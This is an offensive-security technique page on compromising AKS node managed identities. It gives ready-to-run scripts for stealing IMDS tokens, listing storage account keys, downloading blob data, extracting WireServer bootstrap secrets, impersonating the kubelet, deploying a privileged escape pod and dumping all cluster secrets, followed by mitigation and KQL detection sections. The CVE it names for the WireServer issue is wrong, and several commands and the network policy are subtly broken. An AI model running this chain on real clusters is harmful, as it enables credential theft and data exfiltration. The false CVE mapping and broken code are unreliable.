| Attribute | Details |
|---|---|
| Technique ID | PE-VALID-015 |
| MITRE ATT&CK v18.1 | T1078.004 - Valid Accounts: Cloud Accounts |
| Tactic | Privilege Escalation / Lateral Movement |
| Platforms | Entra ID / Azure Kubernetes Service (AKS) |
| Severity | Critical |
| CVE | CVE-2024-4577 (WireServer TLS Bootstrap vulnerability) |
| Technique Status | ACTIVE (WireServer vulnerability fixed in recent AKS patches; bootstrap attack still exploitable on older clusters) |
| Last Verified | 2025-01-09 |
| Affected Versions | AKS clusters using Azure CNI + Azure Network Policy (pre-patch August 2024); Kubernetes 1.24-1.30+ affected if IMDS not restricted |
| Patched In | Microsoft patched WireServer exposure in August 2024; AKS versions 1.27.13+, 1.28.9+, 1.29.4+, 1.30.0+ |
| Author | SERVTEP – Artur Pchelnikau |
The AKS Node Identity Compromise attack exploits the abuse of the Kubelet Managed Identity (node-level service account) to escalate privileges within an Azure Kubernetes Service cluster and move laterally across the Azure environment. The attack chain typically begins with an attacker achieving command execution within a pod (via compromised application, vulnerable workload, or misconfigured pod security). From the pod, the attacker can:
The WireServer vulnerability (CVE-2024-4577) is a specific variant affecting AKS clusters using Azure CNI for networking, where an attacker can directly extract the TLS bootstrap token and other sensitive credentials from the node’s provisioning configuration.
Critical risk of cluster-wide compromise and cloud environment lateral movement. Attacker can:
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.7.2 | Restrict access to IMDS endpoint; disable IMDS or require authentication |
| CISA SCuBA | ACC-08 | Workloads must not have unrestricted access to cloud metadata services |
| NIST 800-53 | AC-3 (Access Enforcement) | Kubernetes nodes must enforce least-privilege access to cloud identity credentials |
| NIST 800-53 | IA-2 (Authentication) | Multi-factor or certificate-based authentication required for node operations |
| NIST 800-53 | SC-7 (Boundary Protection) | Network access to metadata services must be restricted |
| GDPR | Art. 32 (Security of Processing) | Technical measures for identity management must prevent unauthorized access |
| DORA | Art. 9 (Protection and Prevention) | Critical operators must protect containerized workload identity from compromise |
| NIS2 | Art. 21 (Cyber Risk Management) | Identity and access controls for containerized systems must be robust |
| ISO 27001 | A.8.1.3 (Segregation of Duties) | Pod workloads must be isolated from node identity credentials |
| ISO 27001 | A.9.2.5 (Review of User Access Rights) | Node identity credential usage must be monitored and audited |
| ISO 27005 | Risk Scenario: “Compromise of Container Runtime” | Compromise of node identity represents container runtime compromise |
Step 1: Verify Pod Has IMDS Access
# From within a pod, test IMDS connectivity
curl -s http://169.254.169.254/metadata/instance?api-version=2021-02-01 \
-H "Metadata:true" | jq .
# If successful, you receive pod metadata:
# {
# "compute": {
# "resourceGroupName": "myResourceGroup",
# "vmName": "node-001",
# "vmId": "xxxxx",
# ...
# }
# }
What to Look For:
200 OK response with metadata = IMDS is accessible
HTTP 404 or timeout = IMDS access blocked (mitigated)
Step 2: Enumerate Node’s Managed Identity
# From pod, retrieve the node's managed identity token
TOKEN=$(curl -s http://169.254.169.254/metadata/identity/oauth2/token \
-H "Metadata:true" \
--data-urlencode "resource=https://management.azure.com/" | jq -r '.access_token')
echo "Node Identity Token Obtained: ${TOKEN:0:50}..."
# Use the token to query Azure Resource Manager
curl -s -H "Authorization: Bearer $TOKEN" \
https://management.azure.com/subscriptions?api-version=2021-04-01 | jq .
What This Means:
Step 3: Check for TLS Bootstrap Token (WireServer Vulnerability - Pre-Patch)
# Attempt to access WireServer key (CVE-2024-4577)
WIRESERVER_KEY=$(curl -s "http://168.63.129.16/machine/?comp=goalstate" \
-H "x-ms-version: 2012-11-30" | grep "ProtectedSettings" | sed 's/.*encrypted-state="//' | sed 's/".*//')
# Decrypt using the key
# This requires the wireserver.key which can be obtained via IMDS in vulnerable clusters
# Alternatively, check the node's provisioning script directly
cat /var/lib/waagent/*/config.xml 2>/dev/null | grep -i "tls_bootstrap_token\|kubelet"
What to Look For:
TLS_BOOTSTRAP_TOKEN=xxxxx (if found, can be used for kubelet impersonation)
KUBELET_CLIENT_CERT_CONTENT=xxxxx (if found, has kubelet cert)
Step 4: Check Pod Security Policies & RBAC
# From pod, check what the current service account can do
kubectl auth can-i --list
# Check if secrets can be accessed
kubectl get secrets -A
# Check if nodes can be accessed
kubectl get nodes
What to Look For:
wildcards (*) in RBAC rules = unrestricted permissions
secrets can be listed = potential access to stored credentials
nodes can be read = potential for further enumeration
# Using the stolen node identity token, enumerate Azure resources
az login --service-principal -u "<client-id>" -p "<token>" \
--tenant "<tenant-id>"
# List all subscriptions accessible to the node identity
az account list
# List VMs
az vm list --output table
# List storage accounts
az storage account list
Supported Versions: Kubernetes 1.24 - 1.30+; AKS on all versions
Objective: Get command execution within an AKS cluster pod.
Method A: Compromised Application
Method B: Malicious Image Injection
Method C: Social Engineering / Insider Threat
Expected Outcome:
$ kubectl exec -it compromised-pod -- /bin/bash
root@compromised-pod:/#
Objective: Extract the Azure access token assigned to the node.
Command:
#!/bin/bash
# From within the compromised pod
# Step 1: Request a token from IMDS
TOKEN_RESPONSE=$(curl -s \
-H "Metadata:true" \
'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://management.azure.com/' \
--connect-timeout 5)
# Step 2: Extract the token
NODE_IDENTITY_TOKEN=$(echo $TOKEN_RESPONSE | jq -r '.access_token')
# Step 3: Verify the token works
curl -s -H "Authorization: Bearer $NODE_IDENTITY_TOKEN" \
"https://management.azure.com/subscriptions?api-version=2021-04-01" | jq '.value[] | .id'
echo "Successfully obtained node identity token!"
echo "Token (first 50 chars): ${NODE_IDENTITY_TOKEN:0:50}..."
Expected Output:
{
"token_type": "Bearer",
"expires_in": "3599",
"ext_expires_in": "3599",
"expires_on": "1641234567",
"not_before": "1641230667",
"resource": "https://management.azure.com/",
"access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IlJDTXhqTUhWYWtHSllrYzFWR1ZsTmtyQ0swMCIsImtpZCI6IlJDTXhqTUhWYWtHSllrYzFWR1ZsT..."
}
Successfully obtained node identity token!
What This Means:
Objective: Identify high-value targets within Azure using the node’s identity.
Command (List All Subscriptions):
# Using the stolen node identity token
SUBSCRIPTIONS=$(curl -s \
-H "Authorization: Bearer $NODE_IDENTITY_TOKEN" \
"https://management.azure.com/subscriptions?api-version=2021-04-01" | jq -r '.value[].id')
echo "Subscriptions accessible to node identity:"
echo "$SUBSCRIPTIONS"
# For each subscription, list resources
for SUB in $SUBSCRIPTIONS; do
echo "Resources in $SUB:"
curl -s \
-H "Authorization: Bearer $NODE_IDENTITY_TOKEN" \
"https://management.azure.com${SUB}/resources?api-version=2021-04-01" | jq '.value[] | {name, type, location}'
done
Command (List Storage Accounts & Access Keys):
# Enumerate storage accounts
SUBSCRIPTION_ID=$(curl -s \
-H "Authorization: Bearer $NODE_IDENTITY_TOKEN" \
"https://management.azure.com/subscriptions?api-version=2021-04-01" | jq -r '.value[0].subscriptionId')
STORAGE_ACCOUNTS=$(curl -s \
-H "Authorization: Bearer $NODE_IDENTITY_TOKEN" \
"https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/providers/Microsoft.Storage/storageAccounts?api-version=2021-04-01" | jq '.value[] | {name, resourceGroup}')
echo "Storage accounts found: $STORAGE_ACCOUNTS"
# List storage account keys (if node has permissions)
for ACCOUNT in $(echo "$STORAGE_ACCOUNTS" | jq -r '.name'); do
KEYS=$(curl -s -X POST \
-H "Authorization: Bearer $NODE_IDENTITY_TOKEN" \
"https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/{resourceGroup}/providers/Microsoft.Storage/storageAccounts/${ACCOUNT}/listKeys?api-version=2021-04-01" | jq -r '.keys[0].value')
echo "Storage account $ACCOUNT key: $KEYS"
done
Expected Output:
Storage accounts found:
{
"name": "prodstorageacct",
"resourceGroup": "prod-rg"
}
Storage account prodstorageacct key: DefaultEndpointsProtocol=https;AccountName=prodstorageacct;AccountKey=XXXXXXXXXXX...
Objective: Use the node’s credentials to access sensitive data in Azure.
Command (Download Data from Storage Account):
#!/bin/bash
# Using the storage account key obtained in Step 3
STORAGE_ACCOUNT="prodstorageacct"
STORAGE_KEY="XXXXXXXXXXX"
CONTAINER="sensitive-data"
# List blobs in the container
az storage blob list \
--account-name $STORAGE_ACCOUNT \
--account-key $STORAGE_KEY \
--container-name $CONTAINER \
--output table
# Download sensitive files
az storage blob download \
--account-name $STORAGE_ACCOUNT \
--account-key $STORAGE_KEY \
--container-name $CONTAINER \
--name "customer-data.csv" \
--file "/tmp/customer-data.csv"
echo "Data exfiltrated: /tmp/customer-data.csv"
Command (Access Azure SQL Database):
# Using the node identity token to obtain SQL connection token
SQL_TOKEN=$(curl -s \
-H "Metadata:true" \
'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://database.windows.net/' | jq -r '.access_token')
# Connect to SQL database using the token as password
sqlcmd -S "<database-server>.database.windows.net" \
-d "<database-name>" \
-U "<username>" \
-P "$SQL_TOKEN" \
-Q "SELECT * FROM dbo.Customers LIMIT 10;"
Supported Versions: AKS clusters with Azure CNI, pre-August 2024 patches
Objective: Extract the WireServer key to decrypt the node’s provisioning script.
Command (Retrieve WireServer Key):
# From compromised pod, request WireServer key
WIRESERVER_RESPONSE=$(curl -s \
"http://168.63.129.16/machine/?comp=goalstate" \
-H "x-ms-version: 2012-11-30")
# Extract encrypted protected settings
ENCRYPTED_PROTECTED_SETTINGS=$(echo "$WIRESERVER_RESPONSE" | \
grep -oP '(?<=<ProtectedSettings>)[^<]+' | head -1)
echo "Encrypted settings obtained"
echo "$ENCRYPTED_PROTECTED_SETTINGS" | base64 -d > /tmp/encrypted.bin
What This Means:
Objective: Decrypt the provisioning script containing the TLS bootstrap token.
Command (Decrypt WireServer Data):
#!/bin/bash
# Complex cryptographic operation - requires specific AES decryption
# Obtain wireserver.key from IMDS
WIRESERVER_KEY=$(curl -s \
"http://168.63.129.16/machine/?comp=versions" | \
grep -oP 'key="\K[^"]+' | head -1)
# Decrypt the protected settings
openssl enc -d -aes-256-cbc \
-K "$WIRESERVER_KEY" \
-in /tmp/encrypted.bin \
-out /tmp/decrypted.xml
# Extract TLS bootstrap token from decrypted XML
TLS_BOOTSTRAP_TOKEN=$(grep -oP 'TLS_BOOTSTRAP_TOKEN="?\K[^"<]+' /tmp/decrypted.xml)
KUBELET_CLIENT_CERT=$(grep -oP 'KUBELET_CLIENT_CERT_CONTENT="?\K[^"<]+' /tmp/decrypted.xml)
KUBELET_CLIENT_KEY=$(grep -oP 'KUBELET_CLIENT_CONTENT="?\K[^"<]+' /tmp/decrypted.xml)
echo "TLS Bootstrap Token: $TLS_BOOTSTRAP_TOKEN"
echo "Kubelet Cert obtained: ${KUBELET_CLIENT_CERT:0:50}..."
echo "Kubelet Key obtained: ${KUBELET_CLIENT_KEY:0:50}..."
Expected Output:
TLS Bootstrap Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Kubelet Cert obtained: -----BEGIN CERTIFICATE-----MIIDhzCCAm+gAwIBAgI...
Kubelet Key obtained: -----BEGIN RSA PRIVATE KEY-----MIIEowIBAAKCAQEA...
Objective: Create a fake node in the cluster using the stolen kubelet certificate.
Command (Create Kubelet Impersonation):
#!/bin/bash
# Decode certificates
echo "$KUBELET_CLIENT_CERT" | base64 -d > /tmp/kubelet.crt
echo "$KUBELET_CLIENT_KEY" | base64 -d > /tmp/kubelet.key
echo "$KUBELET_CA_CERT" | base64 -d > /tmp/ca.crt
# Use stolen credentials to communicate with Kubernetes API server
kubectl \
--server="https://<kube-apiserver>:443" \
--certificate-authority=/tmp/ca.crt \
--client-certificate=/tmp/kubelet.crt \
--client-key=/tmp/kubelet.key \
get nodes
# If successful, you can now execute commands as the node
Expected Output:
NAME STATUS ROLES
aks-nodepool1-00000000 Ready agent
aks-nodepool1-00000001 Ready agent
(attacker now has kubelet-level permissions)
Objective: Use kubelet permissions to read all Kubernetes secrets.
Command (Extract Secrets):
# With kubelet credentials, access etcd (Kubernetes secret store)
kubectl \
--certificate-authority=/tmp/ca.crt \
--client-certificate=/tmp/kubelet.crt \
--client-key=/tmp/kubelet.key \
get secrets -A -o yaml > /tmp/all-secrets.yaml
# Decode secret values
cat /tmp/all-secrets.yaml | grep -A 3 "data:" | grep -oP 'password: \K.*' | \
while read secret; do
echo "$secret" | base64 -d
done
What This Means:
Supported Versions: AKS clusters with misconfigured pod security policies
Objective: If pod security policies are weak, deploy a privileged pod for container escape.
YAML Manifest (Privileged Pod):
apiVersion: v1
kind: Pod
metadata:
name: escape-pod
namespace: default
spec:
containers:
- name: escape
image: alpine:latest
securityContext:
privileged: true
allowPrivilegeEscalation: true
command: ["/bin/sh"]
args: ["-c", "sleep infinity"]
volumeMounts:
- mountPath: /host
name: host-root
volumes:
- name: host-root
hostPath:
path: /
Deploy:
kubectl apply -f escape-pod.yaml
# Exec into the pod
kubectl exec -it escape-pod -- /bin/sh
# From within pod, you have root access to the host filesystem
chroot /host /bin/bash
# Access node credentials, kubelet config, etc.
cat /root/.kube/config
cat /var/lib/kubelet/kubeconfig
Objective: Read kubelet credentials from the host filesystem (after container escape).
Command (Read Kubelet Credentials from Host):
# After container escape to host
cat /var/lib/kubelet/kubeconfig
cat /var/lib/kubelet/pki/kubelet.crt
cat /var/lib/kubelet/pki/kubelet.key
# Extract client certificate and key
cp /var/lib/kubelet/pki/kubelet.crt /tmp/
cp /var/lib/kubelet/pki/kubelet.key /tmp/
cp /var/run/secrets/kubernetes.io/serviceaccount/ca.crt /tmp/
# Use these to communicate with Kubernetes API
Test ID: T1078.004 - Cloud Account Access (Kubernetes Context)
Description: Simulates pod-to-IMDS token theft and node identity compromise.
Supported Versions: AKS on all Kubernetes versions (1.24+)
Test Command:
# Deploy a test pod that attempts IMDS access
cat > test-pod.yaml <<EOF
apiVersion: v1
kind: Pod
metadata:
name: imds-test-pod
namespace: default
spec:
containers:
- name: test
image: curlimages/curl:latest
command:
- /bin/sh
- -c
- |
echo "Testing IMDS access..."
curl -s -H "Metadata:true" http://169.254.169.254/metadata/instance?api-version=2021-02-01
exit 0
restartPolicy: Never
EOF
kubectl apply -f test-pod.yaml
# Wait for pod to complete
kubectl wait --for=condition=ready pod/imds-test-pod --timeout=30s
# Check logs
kubectl logs imds-test-pod
Cleanup:
kubectl delete pod imds-test-pod
Reference: Atomic Red Team T1078.004 - Cloud Accounts
Action 1: Disable or Restrict IMDS Access from Pods
Objective: Prevent pods from accessing the node’s managed identity credentials.
Method 1: Disable IMDS via iptables (on node)
# SSH into AKS node and apply iptables rules
sudo iptables -A OUTPUT -d 169.254.169.254 -j DROP
sudo iptables -A FORWARD -d 169.254.169.254 -j DROP
# Make persistent (using DaemonSet for AKS)
# Note: This blocks ALL pods from IMDS
Method 2: Use AKS Workload Identity Federation (Recommended)
Manual Steps (Azure Portal):
Manual Steps (PowerShell/CLI):
# Enable Workload Identity on cluster
az aks update --resource-group myResourceGroup \
--name myCluster \
--enable-workload-identity
# Create a user-assigned managed identity
az identity create --resource-group myResourceGroup \
--name myManagedIdentity
# Get the identity details
IDENTITY_ID=$(az identity show --resource-group myResourceGroup \
--name myManagedIdentity --query id -o tsv)
# Grant RBAC role to the identity
az role assignment create --assignee-object-id <identity-principal-id> \
--role "Storage Blob Data Reader" \
--scope /subscriptions/<subscription-id>/resourceGroups/myResourceGroup/providers/Microsoft.Storage/storageAccounts/myStorageAccount
Manual Steps (Kubernetes - Configure Service Account Binding):
# Create a Kubernetes service account bound to the Azure managed identity
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-workload-sa
namespace: default
annotations:
azure.workload.identity/client-id: <managed-identity-client-id>
---
apiVersion: v1
kind: Pod
metadata:
name: my-workload-pod
namespace: default
labels:
azure.workload.identity/use: "true"
spec:
serviceAccountName: my-workload-sa
containers:
- name: app
image: myapp:latest
# Pod now uses the managed identity without IMDS access
Validation Command:
# Verify IMDS is blocked
kubectl exec -it <pod-name> -- curl -m 5 http://169.254.169.254/metadata/instance
# Expected: timeout or connection refused (IMDS not reachable)
Action 2: Restrict Pod Security Context
Manual Steps (Apply Pod Security Standards):
Manual Steps (Kubernetes - PSS Namespace Label):
# Apply restricted pod security standard to namespace
kubectl label namespace default \
pod-security.kubernetes.io/enforce=restricted \
pod-security.kubernetes.io/audit=restricted \
pod-security.kubernetes.io/warn=restricted
# Pods must not have:
# - allowPrivilegeEscalation: true
# - privileged: true
# - hostNetwork: true
# - hostPID: true
# - hostIPC: true
Validation:
# Try to deploy a privileged pod
kubectl apply -f privileged-pod.yaml
# Expected: Pod rejected or restricted mode applied
Action 3: Enable Kubernetes Audit Logging for Node Access
Manual Steps (Azure Portal):
Manual Steps (Monitor for Suspicious Activity via KQL):
AzureDiagnostics
| where Category == "kube-apiserver"
| where properties_log_s contains "secrets"
| project TimeGenerated, verb_s, objectRef_s, sourceIPs_s, user_username_s
| where verb_s in ("get", "list", "watch")
Action 4: Use Azure Key Vault for Secret Management (Instead of Kubernetes Secrets)
Manual Steps (Deploy Azure Key Vault Secret Provider for AKS):
# Add Azure Key Vault provider repository
helm repo add csi-secrets-store-provider-azure https://raw.githubusercontent.com/Azure/secrets-store-csi-driver-provider-azure/master/charts
helm repo update
# Install the CSI driver
helm install csi-secrets-store-provider-azure/csi-secrets-store-provider-azure \
--namespace kube-system \
--set secrets-store-csi-driver.install=true
# Create a SecretProviderClass to mount secrets from Key Vault
cat > secret-provider-class.yaml <<EOF
apiVersion: secrets-store.csi.x-k8s.io/v1
kind: SecretProviderClass
metadata:
name: azure-keyvault-provider
namespace: default
spec:
provider: azure
parameters:
usePodIdentity: "true"
keyvaultName: "myKeyVault"
tenantId: "<tenant-id>"
objects: |
array:
- |
objectName: my-secret
objectType: secret
objectVersion: ""
EOF
kubectl apply -f secret-provider-class.yaml
Action 5: Implement Network Policies to Isolate IMDS Access
Manual Steps (Deny IMDS from Pods via Network Policy):
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: deny-imds
namespace: default
spec:
podSelector: {} # Apply to all pods in namespace
policyTypes:
- Egress
egress:
- to:
- namespaceSelector: {}
ports:
- protocol: TCP
port: 443
- to:
- namespaceSelector: {}
ports:
- protocol: TCP
port: 80
except:
- ipBlock:
cidr: 169.254.169.254/32
# This allows all egress EXCEPT to IMDS endpoint
Conditional Access:
RBAC/ABAC:
Policy Config:
Network Patterns:
Process Patterns:
curl, wget, or similar tools targeting IMDS/var/lib/kubelet/Audit Log Signals:
Kubernetes Audit Logs:
AzureDiagnostics
| where Category == "kube-apiserver"
| where properties_verb_s == "get" and properties_objectRef_s contains "secrets"
| where properties_sourceIPs_s == "169.254.169.254" or properties_sourceIPs_s starts with "10."
| project TimeGenerated, properties_user_username_s, properties_objectRef_s, properties_verb_s
Pod Network Logs:
AzureDiagnostics
| where Category == "kube-audit"
| where toPrincipal contains "169.254.169.254"
| project TimeGenerated, fromResource, toResource, toPrincipal
Azure Activity Log:
AzureActivity
| where ResourceProvider == "Microsoft.Compute" and OperationName == "Create or Update Virtual Machine"
| where Caller == "<node-managed-identity>"
| project TimeGenerated, OperationName, ResourceId, Caller
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-EXPLOIT-001] Azure Application Proxy Exploitation | Attacker gains access to internal application running in AKS |
| 2 | Execution | RCE in Application | Attacker executes code within application pod |
| 3 | Privilege Escalation | [PE-VALID-015] | Attacker abuses node identity to escalate to kubelet level |
| 4 | Credential Access | [CA-TOKEN-013] AKS Service Account Token Theft | Attacker extracts all Kubernetes service account tokens |
| 5 | Lateral Movement | [LM-AUTH-016] Managed Identity Cross-Resource | Attacker uses node identity to access other Azure resources |
| 6 | Collection | [COLLECTION-015] Cloud Storage Data Exfiltration | Attacker exfiltrates sensitive data from storage accounts |